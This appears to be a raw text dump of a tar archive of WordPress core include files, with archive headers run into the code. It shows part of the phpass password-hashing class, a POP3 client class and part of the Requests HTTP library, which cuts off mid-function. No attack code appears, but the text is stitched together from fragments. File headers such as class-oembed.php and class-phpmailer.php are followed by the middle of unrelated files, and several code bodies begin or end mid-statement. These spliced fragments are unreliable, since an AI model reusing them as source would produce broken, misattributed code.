error', $code = null, $mode = null, $options = null, $userinfo = null ) { _deprecated_constructor( 'Services_JSON_Error', '5.3.0', get_class( $this ) ); self::__construct( $message, $code, $mode, $options, $userinfo ); } } } endif; class-oembed.php000064400000000627151202620300007607 0ustar00 in 2004-2006 and placed in # the public domain. Revised in subsequent years, still public domain. # # There's absolutely no warranty. # # Please be sure to update the Version line if you edit this file in any way. # It is suggested that you leave the main version number intact, but indicate # your project name (after the slash) and add your own revision information. # # Please do not change the "private" password hashing method implemented in # here, thereby making your hashes incompatible. However, if you must, please # change the hash type identifier (the "$P$") to something different. # # Obviously, since this code is in the public domain, the above are not # requirements (there can be none), but merely suggestions. # /** * Portable PHP password hashing framework. * * @package phpass * @version 0.3 / WordPress * @link https://www.openwall.com/phpass/ * @since 2.5.0 */ class PasswordHash { var $itoa64; var $iteration_count_log2; var $portable_hashes; var $random_state; /** * PHP5 constructor. */ function __construct( $iteration_count_log2, $portable_hashes ) { $this->itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; if ($iteration_count_log2 < 4 || $iteration_count_log2 > 31) $iteration_count_log2 = 8; $this->iteration_count_log2 = $iteration_count_log2; $this->portable_hashes = $portable_hashes; $this->random_state = microtime() . uniqid(rand(), TRUE); // removed getmypid() for compatibility reasons } /** * PHP4 constructor. */ public function PasswordHash( $iteration_count_log2, $portable_hashes ) { self::__construct( $iteration_count_log2, $portable_hashes ); } function get_random_bytes($count) { $output = ''; if ( @is_readable('/dev/urandom') && ($fh = @fopen('/dev/urandom', 'rb'))) { $output = fread($fh, $count); fclose($fh); } if (strlen($output) < $count) { $output = ''; for ($i = 0; $i < $count; $i += 16) { $this->random_state = md5(microtime() . $this->random_state); $output .= pack('H*', md5($this->random_state)); } $output = substr($output, 0, $count); } return $output; } function encode64($input, $count) { $output = ''; $i = 0; do { $value = ord($input[$i++]); $output .= $this->itoa64[$value & 0x3f]; if ($i < $count) $value |= ord($input[$i]) << 8; $output .= $this->itoa64[($value >> 6) & 0x3f]; if ($i++ >= $count) break; if ($i < $count) $value |= ord($input[$i]) << 16; $output .= $this->itoa64[($value >> 12) & 0x3f]; if ($i++ >= $count) break; $output .= $this->itoa64[($value >> 18) & 0x3f]; } while ($i < $count); return $output; } function gensalt_private($input) { $output = '$P$'; $output .= $this->itoa64[min($this->iteration_count_log2 + ((PHP_VERSION >= '5') ? 5 : 3), 30)]; $output .= $this->encode64($input, 6); return $output; } function crypt_private($password, $setting) { $output = '*0'; if (substr($setting, 0, 2) == $output) $output = '*1'; $id = substr($setting, 0, 3); # We use "$P$", phpBB3 uses "$H$" for the same thing if ($id != '$P$' && $id != '$H$') return $output; $count_log2 = strpos($this->itoa64, $setting[3]); if ($count_log2 < 7 || $count_log2 > 30) return $output; $count = 1 << $count_log2; $salt = substr($setting, 4, 8); if (strlen($salt) != 8) return $output; # We're kind of forced to use MD5 here since it's the only # cryptographic primitive available in all versions of PHP # currently in use. To implement our own low-level crypto # in PHP would result in much worse performance and # consequently in lower iteration counts and hashes that are # quicker to crack (by non-PHP code). if (PHP_VERSION >= '5') { $hash = md5($salt . $password, TRUE); do { $hash = md5($hash . $password, TRUE); } while (--$count); } else { $hash = pack('H*', md5($salt . $password)); do { $hash = pack('H*', md5($hash . $password)); } while (--$count); } $output = substr($setting, 0, 12); $output .= $this->encode64($hash, 16); return $output; } function gensalt_extended($input) { $count_log2 = min($this->iteration_count_log2 + 8, 24); # This should be odd to not reveal weak DES keys, and the # maximum valid value is (2**24 - 1) which is odd anyway. $count = (1 << $count_log2) - 1; $output = '_'; $output .= $this->itoa64[$count & 0x3f]; $output .= $this->itoa64[($count >> 6) & 0x3f]; $output .= $this->itoa64[($count >> 12) & 0x3f]; $output .= $this->itoa64[($count >> 18) & 0x3f]; $output .= $this->encode64($input, 3); return $output; } function gensalt_blowfish($input) { # This one needs to use a different order of characters and a # different encoding scheme from the one in encode64() above. # We care because the last character in our encoded string will # only represent 2 bits. While two known implementations of # bcrypt will happily accept and correct a salt string which # has the 4 unused bits set to non-zero, we do not want to take # chances and we also do not want to waste an additional byte # of entropy. $itoa64 = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; $output = '$2a$'; $output .= chr(ord('0') + $this->iteration_count_log2 / 10); $output .= chr(ord('0') + $this->iteration_count_log2 % 10); $output .= '$'; $i = 0; do { $c1 = ord($input[$i++]); $output .= $itoa64[$c1 >> 2]; $c1 = ($c1 & 0x03) << 4; if ($i >= 16) { $output .= $itoa64[$c1]; break; } $c2 = ord($input[$i++]); $c1 |= $c2 >> 4; $output .= $itoa64[$c1]; $c1 = ($c2 & 0x0f) << 2; $c2 = ord($input[$i++]); $c1 |= $c2 >> 6; $output .= $itoa64[$c1]; $output .= $itoa64[$c2 & 0x3f]; } while (1); return $output; } function HashPassword($password) { if ( strlen( $password ) > 4096 ) { return '*'; } $random = ''; if (CRYPT_BLOWFISH == 1 && !$this->portable_hashes) { $random = $this->get_random_bytes(16); $hash = crypt($password, $this->gensalt_blowfish($random)); if (strlen($hash) == 60) return $hash; } if (CRYPT_EXT_DES == 1 && !$this->portable_hashes) { if (strlen($random) < 3) $random = $this->get_random_bytes(3); $hash = crypt($password, $this->gensalt_extended($random)); if (strlen($hash) == 20) return $hash; } if (strlen($random) < 6) $random = $this->get_random_bytes(6); $hash = $this->crypt_private($password, $this->gensalt_private($random)); if (strlen($hash) == 34) return $hash; # Returning '*' on error is safe here, but would _not_ be safe # in a crypt(3)-like function used _both_ for generating new # hashes and for validating passwords against existing hashes. return '*'; } function CheckPassword($password, $stored_hash) { if ( strlen( $password ) > 4096 ) { return false; } $hash = $this->crypt_private($password, $stored_hash); if ($hash[0] == '*') $hash = crypt($password, $stored_hash); return $hash === $stored_hash; } }class-phpmailer.php000064400000001230151202620300010324 0ustar00BUFFER,"integer"); if( !empty($server) ) { // Do not allow programs to alter MAILSERVER // if it is already specified. They can get around // this if they -really- want to, so don't count on it. if(empty($this->MAILSERVER)) $this->MAILSERVER = $server; } if(!empty($timeout)) { settype($timeout,"integer"); $this->TIMEOUT = $timeout; set_time_limit($timeout); } return true; } /** * PHP4 constructor. */ public function POP3( $server = '', $timeout = '' ) { self::__construct( $server, $timeout ); } function update_timer () { set_time_limit($this->TIMEOUT); return true; } function connect ($server, $port = 110) { // Opens a socket to the specified server. Unless overridden, // port defaults to 110. Returns true on success, false on fail // If MAILSERVER is set, override $server with its value. if (!isset($port) || !$port) {$port = 110;} if(!empty($this->MAILSERVER)) $server = $this->MAILSERVER; if(empty($server)){ $this->ERROR = "POP3 connect: " . _("No server specified"); unset($this->FP); return false; } $fp = @fsockopen("$server", $port, $errno, $errstr); if(!$fp) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$errno] [$errstr]"; unset($this->FP); return false; } socket_set_blocking($fp,-1); $this->update_timer(); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) error_log("POP3 SEND [connect: $server] GOT [$reply]",0); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 connect: " . _("Error ") . "[$reply]"; unset($this->FP); return false; } $this->FP = $fp; $this->BANNER = $this->parse_banner($reply); return true; } function user ($user = "") { // Sends the USER command, returns true or false if( empty($user) ) { $this->ERROR = "POP3 user: " . _("no login ID submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 user: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("USER $user"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 user: " . _("Error ") . "[$reply]"; return false; } else return true; } } function pass ($pass = "") { // Sends the PASS command, returns # of msgs in mailbox, // returns false (undef) on Auth failure if(empty($pass)) { $this->ERROR = "POP3 pass: " . _("No password submitted"); return false; } elseif(!isset($this->FP)) { $this->ERROR = "POP3 pass: " . _("connection not established"); return false; } else { $reply = $this->send_cmd("PASS $pass"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pass: " . _("Authentication failed") . " [$reply]"; $this->quit(); return false; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } function apop ($login,$pass) { // Attempts an APOP login. If this fails, it'll // try a standard login. YOUR SERVER MUST SUPPORT // THE USE OF THE APOP COMMAND! // (apop is optional per rfc1939) if(!isset($this->FP)) { $this->ERROR = "POP3 apop: " . _("No connection to server"); return false; } elseif(!$this->ALLOWAPOP) { $retVal = $this->login($login,$pass); return $retVal; } elseif(empty($login)) { $this->ERROR = "POP3 apop: " . _("No login ID submitted"); return false; } elseif(empty($pass)) { $this->ERROR = "POP3 apop: " . _("No password submitted"); return false; } else { $banner = $this->BANNER; if( (!$banner) or (empty($banner)) ) { $this->ERROR = "POP3 apop: " . _("No server banner") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { $AuthString = $banner; $AuthString .= $pass; $APOPString = md5($AuthString); $cmd = "APOP $login $APOPString"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 apop: " . _("apop authentication failed") . ' - ' . _("abort"); $retVal = $this->login($login,$pass); return $retVal; } else { // Auth successful. $count = $this->last("count"); $this->COUNT = $count; return $count; } } } } function login ($login = "", $pass = "") { // Sends both user and pass. Returns # of msgs in mailbox or // false on failure (or -1, if the error occurs while getting // the number of messages.) if( !isset($this->FP) ) { $this->ERROR = "POP3 login: " . _("No connection to server"); return false; } else { $fp = $this->FP; if( !$this->user( $login ) ) { // Preserve the error generated by user() return false; } else { $count = $this->pass($pass); if( (!$count) || ($count == -1) ) { // Preserve the error generated by last() and pass() return false; } else return $count; } } } function top ($msgNum, $numLines = "0") { // Gets the header and first $numLines of the msg body // returns data in an array with each returned line being // an array element. If $numLines is empty, returns // only the header information, and none of the body. if(!isset($this->FP)) { $this->ERROR = "POP3 top: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "TOP $msgNum $numLines"; fwrite($fp, "TOP $msgNum $numLines\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 top: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function pop_list ($msgNum = "") { // If called with an argument, returns that msgs' size in octets // No argument returns an associative array of undeleted // msg numbers and their sizes in octets if(!isset($this->FP)) { $this->ERROR = "POP3 pop_list: " . _("No connection to server"); return false; } $fp = $this->FP; $Total = $this->COUNT; if( (!$Total) or ($Total == -1) ) { return false; } if($Total == 0) { return array("0","0"); // return -1; // mailbox empty } $this->update_timer(); if(!empty($msgNum)) { $cmd = "LIST $msgNum"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } list($junk,$num,$size) = preg_split('/\s+/',$reply); return $size; } $cmd = "LIST"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $reply = $this->strip_clf($reply); $this->ERROR = "POP3 pop_list: " . _("Error ") . "[$reply]"; return false; } $MsgArray = array(); $MsgArray[0] = $Total; for($msgC=1;$msgC <= $Total; $msgC++) { if($msgC > $Total) { break; } $line = fgets($fp,$this->BUFFER); $line = $this->strip_clf($line); if(strpos($line, '.') === 0) { $this->ERROR = "POP3 pop_list: " . _("Premature end of list"); return false; } list($thisMsg,$msgSize) = preg_split('/\s+/',$line); settype($thisMsg,"integer"); if($thisMsg != $msgC) { $MsgArray[$msgC] = "deleted"; } else { $MsgArray[$msgC] = $msgSize; } } return $MsgArray; } function get ($msgNum) { // Retrieve the specified msg number. Returns an array // where each line of the msg is an array element. if(!isset($this->FP)) { $this->ERROR = "POP3 get: " . _("No connection to server"); return false; } $this->update_timer(); $fp = $this->FP; $buffer = $this->BUFFER; $cmd = "RETR $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 get: " . _("Error ") . "[$reply]"; return false; } $count = 0; $MsgArray = array(); $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { if ( $line[0] == '.' ) { $line = substr($line,1); } $MsgArray[$count] = $line; $count++; $line = fgets($fp,$buffer); if(empty($line)) { break; } } return $MsgArray; } function last ( $type = "count" ) { // Returns the highest msg number in the mailbox. // returns -1 on error, 0+ on success, if type != count // results in a popstat() call (2 element array returned) $last = -1; if(!isset($this->FP)) { $this->ERROR = "POP3 last: " . _("No connection to server"); return $last; } $reply = $this->send_cmd("STAT"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 last: " . _("Error ") . "[$reply]"; return $last; } $Vars = preg_split('/\s+/',$reply); $count = $Vars[1]; $size = $Vars[2]; settype($count,"integer"); settype($size,"integer"); if($type != "count") { return array($count,$size); } return $count; } function reset () { // Resets the status of the remote server. This includes // resetting the status of ALL msgs to not be deleted. // This method automatically closes the connection to the server. if(!isset($this->FP)) { $this->ERROR = "POP3 reset: " . _("No connection to server"); return false; } $reply = $this->send_cmd("RSET"); if(!$this->is_ok($reply)) { // The POP3 RSET command -never- gives a -ERR // response - if it ever does, something truly // wild is going on. $this->ERROR = "POP3 reset: " . _("Error ") . "[$reply]"; @error_log("POP3 reset: ERROR [$reply]",0); } $this->quit(); return true; } function send_cmd ( $cmd = "" ) { // Sends a user defined command string to the // POP server and returns the results. Useful for // non-compliant or custom POP servers. // Do NOT includ the \r\n as part of your command // string - it will be appended automatically. // The return value is a standard fgets() call, which // will read up to $this->BUFFER bytes of data, until it // encounters a new line, or EOF, whichever happens first. // This method works best if $cmd responds with only // one line of data. if(!isset($this->FP)) { $this->ERROR = "POP3 send_cmd: " . _("No connection to server"); return false; } if(empty($cmd)) { $this->ERROR = "POP3 send_cmd: " . _("Empty command string"); return ""; } $fp = $this->FP; $buffer = $this->BUFFER; $this->update_timer(); fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } return $reply; } function quit() { // Closes the connection to the POP3 server, deleting // any msgs marked as deleted. if(!isset($this->FP)) { $this->ERROR = "POP3 quit: " . _("connection does not exist"); return false; } $fp = $this->FP; $cmd = "QUIT"; fwrite($fp,"$cmd\r\n"); $reply = fgets($fp,$this->BUFFER); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } fclose($fp); unset($this->FP); return true; } function popstat () { // Returns an array of 2 elements. The number of undeleted // msgs in the mailbox, and the size of the mbox in octets. $PopArray = $this->last("array"); if($PopArray == -1) { return false; } if( (!$PopArray) or (empty($PopArray)) ) { return false; } return $PopArray; } function uidl ($msgNum = "") { // Returns the UIDL of the msg specified. If called with // no arguments, returns an associative array where each // undeleted msg num is a key, and the msg's uidl is the element // Array element 0 will contain the total number of msgs if(!isset($this->FP)) { $this->ERROR = "POP3 uidl: " . _("No connection to server"); return false; } $fp = $this->FP; $buffer = $this->BUFFER; if(!empty($msgNum)) { $cmd = "UIDL $msgNum"; $reply = $this->send_cmd($cmd); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } list ($ok,$num,$myUidl) = preg_split('/\s+/',$reply); return $myUidl; } else { $this->update_timer(); $UIDLArray = array(); $Total = $this->COUNT; $UIDLArray[0] = $Total; if ($Total < 1) { return $UIDLArray; } $cmd = "UIDL"; fwrite($fp, "UIDL\r\n"); $reply = fgets($fp, $buffer); $reply = $this->strip_clf($reply); if($this->DEBUG) { @error_log("POP3 SEND [$cmd] GOT [$reply]",0); } if(!$this->is_ok($reply)) { $this->ERROR = "POP3 uidl: " . _("Error ") . "[$reply]"; return false; } $line = ""; $count = 1; $line = fgets($fp,$buffer); while ( !preg_match('/^\.\r\n/',$line)) { list ($msg,$msgUidl) = preg_split('/\s+/',$line); $msgUidl = $this->strip_clf($msgUidl); if($count == $msg) { $UIDLArray[$msg] = $msgUidl; } else { $UIDLArray[$count] = 'deleted'; } $count++; $line = fgets($fp,$buffer); } } return $UIDLArray; } function delete ($msgNum = "") { // Flags a specified msg as deleted. The msg will not // be deleted until a quit() method is called. if(!isset($this->FP)) { $this->ERROR = "POP3 delete: " . _("No connection to server"); return false; } if(empty($msgNum)) { $this->ERROR = "POP3 delete: " . _("No msg number submitted"); return false; } $reply = $this->send_cmd("DELE $msgNum"); if(!$this->is_ok($reply)) { $this->ERROR = "POP3 delete: " . _("Command failed ") . "[$reply]"; return false; } return true; } // ********************************************************* // The following methods are internal to the class. function is_ok ($cmd = "") { // Return true or false on +OK or -ERR if( empty($cmd) ) return false; else return( stripos($cmd, '+OK') !== false ); } function strip_clf ($text = "") { // Strips \r\n from server responses if(empty($text)) return $text; else { $stripped = str_replace(array("\r","\n"),'',$text); return $stripped; } } function parse_banner ( $server_text ) { $outside = true; $banner = ""; $length = strlen($server_text); for($count =0; $count < $length; $count++) { $digit = substr($server_text,$count,1); if(!empty($digit)) { if( (!$outside) && ($digit != '<') && ($digit != '>') ) { $banner .= $digit; } if ($digit == '<') { $outside = false; } if($digit == '>') { $outside = true; } } } $banner = $this->strip_clf($banner); // Just in case return "<$banner>"; } } // End class // For php4 compatibility if (!function_exists("stripos")) { function stripos($haystack, $needle){ return strpos($haystack, stristr( $haystack, $needle )); } } class-requests.php000064400000072223151202620300010230 0ustar00dispatch('requests.before_request', array(&$url, &$headers, &$data, &$type, &$options)); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $need_ssl = (0 === stripos($url, 'https://')); $capabilities = array('ssl' => $need_ssl); $transport = self::get_transport($capabilities); } $response = $transport->request($url, $headers, $data, $options); $options['hooks']->dispatch('requests.before_parse', array(&$response, $url, $headers, $data, $type, $options)); return self::parse_response($response, $url, $headers, $data, $options); } /** * Send multiple HTTP requests simultaneously * * The `$requests` parameter takes an associative or indexed array of * request fields. The key of each request can be used to match up the * request with the returned data, or with the request passed into your * `multiple.request.complete` callback. * * The request fields value is an associative array with the following keys: * * - `url`: Request URL Same as the `$url` parameter to * {@see Requests::request} * (string, required) * - `headers`: Associative array of header fields. Same as the `$headers` * parameter to {@see Requests::request} * (array, default: `array()`) * - `data`: Associative array of data fields or a string. Same as the * `$data` parameter to {@see Requests::request} * (array|string, default: `array()`) * - `type`: HTTP request type (use Requests constants). Same as the `$type` * parameter to {@see Requests::request} * (string, default: `Requests::GET`) * - `cookies`: Associative array of cookie name to value, or cookie jar. * (array|Requests_Cookie_Jar) * * If the `$options` parameter is specified, individual requests will * inherit options from it. This can be used to use a single hooking system, * or set all the types to `Requests::POST`, for example. * * In addition, the `$options` parameter takes the following global options: * * - `complete`: A callback for when a request is complete. Takes two * parameters, a Requests_Response/Requests_Exception reference, and the * ID from the request array (Note: this can also be overridden on a * per-request basis, although that's a little silly) * (callback) * * @param array $requests Requests data (see description for more information) * @param array $options Global and default options (see {@see Requests::request}) * @return array Responses (either Requests_Response or a Requests_Exception object) */ public static function request_multiple($requests, $options = array()) { $options = array_merge(self::get_default_options(true), $options); if (!empty($options['hooks'])) { $options['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); if (!empty($options['complete'])) { $options['hooks']->register('multiple.request.complete', $options['complete']); } } foreach ($requests as $id => &$request) { if (!isset($request['headers'])) { $request['headers'] = array(); } if (!isset($request['data'])) { $request['data'] = array(); } if (!isset($request['type'])) { $request['type'] = self::GET; } if (!isset($request['options'])) { $request['options'] = $options; $request['options']['type'] = $request['type']; } else { if (empty($request['options']['type'])) { $request['options']['type'] = $request['type']; } $request['options'] = array_merge($options, $request['options']); } self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); // Ensure we only hook in once if ($request['options']['hooks'] !== $options['hooks']) { $request['options']['hooks']->register('transport.internal.parse_response', array('Requests', 'parse_multiple')); if (!empty($request['options']['complete'])) { $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); } } } unset($request); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $transport = self::get_transport(); } $responses = $transport->request_multiple($requests, $options); foreach ($responses as $id => &$response) { // If our hook got messed with somehow, ensure we end up with the // correct response if (is_string($response)) { $request = $requests[$id]; self::parse_multiple($response, $request); $request['options']['hooks']->dispatch('multiple.request.complete', array(&$response, $id)); } } return $responses; } /** * Get the default options * * @see Requests::request() for values returned by this method * @param boolean $multirequest Is this a multirequest? * @return array Default option values */ protected static function get_default_options($multirequest = false) { $defaults = array( 'timeout' => 10, 'connect_timeout' => 10, 'useragent' => 'php-requests/' . self::VERSION, 'protocol_version' => 1.1, 'redirected' => 0, 'redirects' => 10, 'follow_redirects' => true, 'blocking' => true, 'type' => self::GET, 'filename' => false, 'auth' => false, 'proxy' => false, 'cookies' => false, 'max_bytes' => false, 'idn' => true, 'hooks' => null, 'transport' => null, 'verify' => Requests::get_certificate_path(), 'verifyname' => true, ); if ($multirequest !== false) { $defaults['complete'] = null; } return $defaults; } /** * Get default certificate path. * * @return string Default certificate path. */ public static function get_certificate_path() { if ( ! empty( Requests::$certificate_path ) ) { return Requests::$certificate_path; } return dirname(__FILE__) . '/Requests/Transport/cacert.pem'; } /** * Set default certificate path. * * @param string $path Certificate path, pointing to a PEM file. */ public static function set_certificate_path( $path ) { Requests::$certificate_path = $path; } /** * Set the default values * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type * @param array $options Options for the request * @return array $options */ protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { throw new Requests_Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); } if (empty($options['hooks'])) { $options['hooks'] = new Requests_Hooks(); } if (is_array($options['auth'])) { $options['auth'] = new Requests_Auth_Basic($options['auth']); } if ($options['auth'] !== false) { $options['auth']->register($options['hooks']); } if (is_string($options['proxy']) || is_array($options['proxy'])) { $options['proxy'] = new Requests_Proxy_HTTP($options['proxy']); } if ($options['proxy'] !== false) { $options['proxy']->register($options['hooks']); } if (is_array($options['cookies'])) { $options['cookies'] = new Requests_Cookie_Jar($options['cookies']); } elseif (empty($options['cookies'])) { $options['cookies'] = new Requests_Cookie_Jar(); } if ($options['cookies'] !== false) { $options['cookies']->register($options['hooks']); } if ($options['idn'] !== false) { $iri = new Requests_IRI($url); $iri->host = Requests_IDNAEncoder::encode($iri->ihost); $url = $iri->uri; } // Massage the type to ensure we support it. $type = strtoupper($type); if (!isset($options['data_format'])) { if (in_array($type, array(self::HEAD, self::GET, self::DELETE))) { $options['data_format'] = 'query'; } else { $options['data_format'] = 'body'; } } } /** * HTTP response parser * * @throws Requests_Exception On missing head/body separator (`requests.no_crlf_separator`) * @throws Requests_Exception On missing head/body separator (`noversion`) * @throws Requests_Exception On missing head/body separator (`toomanyredirects`) * * @param string $headers Full response text including headers and body * @param string $url Original request URL * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects * @return Requests_Response */ protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { $return = new Requests_Response(); if (!$options['blocking']) { return $return; } $return->raw = $headers; $return->url = $url; if (!$options['filename']) { if (($pos = strpos($headers, "\r\n\r\n")) === false) { // Crap! throw new Requests_Exception('Missing header/body separator', 'requests.no_crlf_separator'); } $headers = substr($return->raw, 0, $pos); $return->body = substr($return->raw, $pos + strlen("\n\r\n\r")); } else { $return->body = ''; } // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $headers = str_replace("\r\n", "\n", $headers); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) $headers = preg_replace('/\n[ \t]/', ' ', $headers); $headers = explode("\n", $headers); preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); if (empty($matches)) { throw new Requests_Exception('Response could not be parsed', 'noversion', $headers); } $return->protocol_version = (float) $matches[1]; $return->status_code = (int) $matches[2]; if ($return->status_code >= 200 && $return->status_code < 300) { $return->success = true; } foreach ($headers as $header) { list($key, $value) = explode(':', $header, 2); $value = trim($value); preg_replace('#(\s+)#i', ' ', $value); $return->headers[$key] = $value; } if (isset($return->headers['transfer-encoding'])) { $return->body = self::decode_chunked($return->body); unset($return->headers['transfer-encoding']); } if (isset($return->headers['content-encoding'])) { $return->body = self::decompress($return->body); } //fsockopen and cURL compatibility if (isset($return->headers['connection'])) { unset($return->headers['connection']); } $options['hooks']->dispatch('requests.before_redirect_check', array(&$return, $req_headers, $req_data, $options)); if ($return->is_redirect() && $options['follow_redirects'] === true) { if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { if ($return->status_code === 303) { $options['type'] = self::GET; } $options['redirected']++; $location = $return->headers['location']; if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { // relative redirect, for compatibility make it absolute $location = Requests_IRI::absolutize($url, $location); $location = $location->uri; } $hook_args = array( &$location, &$req_headers, &$req_data, &$options, $return ); $options['hooks']->dispatch('requests.before_redirect', $hook_args); $redirected = self::request($location, $req_headers, $req_data, $options['type'], $options); $redirected->history[] = $return; return $redirected; } elseif ($options['redirected'] >= $options['redirects']) { throw new Requests_Exception('Too many redirects', 'toomanyredirects', $return); } } $return->redirects = $options['redirected']; $options['hooks']->dispatch('requests.after_request', array(&$return, $req_headers, $req_data, $options)); return $return; } /** * Callback for `transport.internal.parse_response` * * Internal use only. Converts a raw HTTP response to a Requests_Response * while still executing a multiple request. * * @param string $response Full response text including headers and body (will be overwritten with Response instance) * @param array $request Request data as passed into {@see Requests::request_multiple()} * @return null `$response` is either set to a Requests_Response instance, or a Requests_Exception object */ public static function parse_multiple(&$response, $request) { try { $url = $request['url']; $headers = $request['headers']; $data = $request['data']; $options = $request['options']; $response = self::parse_response($response, $url, $headers, $data, $options); } catch (Requests_Exception $e) { $response = $e; } } /** * Decoded a chunked body as per RFC 2616 * * @see https://tools.ietf.org/html/rfc2616#section-3.6.1 * @param string $data Chunked body * @return string Decoded body */ protected static function decode_chunked($data) { if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) { return $data; } $decoded = ''; $encoded = $data; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all return $data; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers return $decoded; } $chunk_length = strlen($matches[0]); $decoded .= substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { return $decoded; } } // We'll never actually get down here // @codeCoverageIgnoreStart } // @codeCoverageIgnoreEnd /** * Convert a key => value array to a 'key: value' array for headers * * @param array $array Dictionary of header values * @return string[] List of headers */ public static function flatten($array) { $return = array(); foreach ($array as $key => $value) { $return[] = sprintf('%s: %s', $key, $value); } return $return; } /** * Convert a key => value array to a 'key: value' array for headers * * @codeCoverageIgnore * @deprecated Misspelling of {@see Requests::flatten} * @param array $array Dictionary of header values * @return string[] List of headers */ public static function flattern($array) { return self::flatten($array); } /** * Decompress an encoded body * * Implements gzip, compress and deflate. Guesses which it is by attempting * to decode. * * @param string $data Compressed data in one of the above formats * @return string Decompressed string */ public static function decompress($data) { if (substr($data, 0, 2) !== "\x1f\x8b" && substr($data, 0, 2) !== "\x78\x9c") { // Not actually compressed. Probably cURL ruining this for us. return $data; } if (function_exists('gzdecode') && ($decoded = @gzdecode($data)) !== false) { return $decoded; } elseif (function_exists('gzinflate') && ($decoded = @gzinflate($data)) !== false) { return $decoded; } elseif (($decoded = self::compatible_gzinflate($data)) !== false) { return $decoded; } elseif (function_exists('gzuncompress') && ($decoded = @gzuncompress($data)) !== false) { return $decoded; } return $data; } /** * Decompression of deflated string while staying compatible with the majority of servers. * * Certain Servers will return deflated data with headers which PHP's gzinflate() * function cannot handle out of the box. The following function has been created from * various snippets on the gzinflate() PHP documentation. * * Warning: Magic numbers within. Due to the potential different formats that the compressed * data may be returned in, some "magic offsets" are needed to ensure proper decompression * takes place. For a simple progmatic way to determine the magic offset in use, see: * https://core.trac.wordpress.org/ticket/18273 * * @since 2.8.1 * @link https://core.trac.wordpress.org/ticket/18273 * @link https://secure.php.net/manual/en/function.gzinflate.php#70875 * @link https://secure.php.net/manual/en/function.gzinflate.php#77336 * * @param string $gzData String to decompress. * @return string|bool False on failure. */ public static function compatible_gzinflate($gzData) { // Compressed data might contain a full zlib header, if so strip it for // gzinflate() if (substr($gzData, 0, 3) == "\x1f\x8b\x08") { $i = 10; $flg = ord(substr($gzData, 3, 1)); if ($flg > 0) { if ($flg & 4) { list($xlen) = unpack('v', substr($gzData, $i, 2)); $i = $i + 2 + $xlen; } if ($flg & 8) { $i = strpos($gzData, "\0", $i) + 1; } if ($flg & 16) { $i = strpos($gzData, "\0", $i) + 1; } if ($flg & 2) { $i 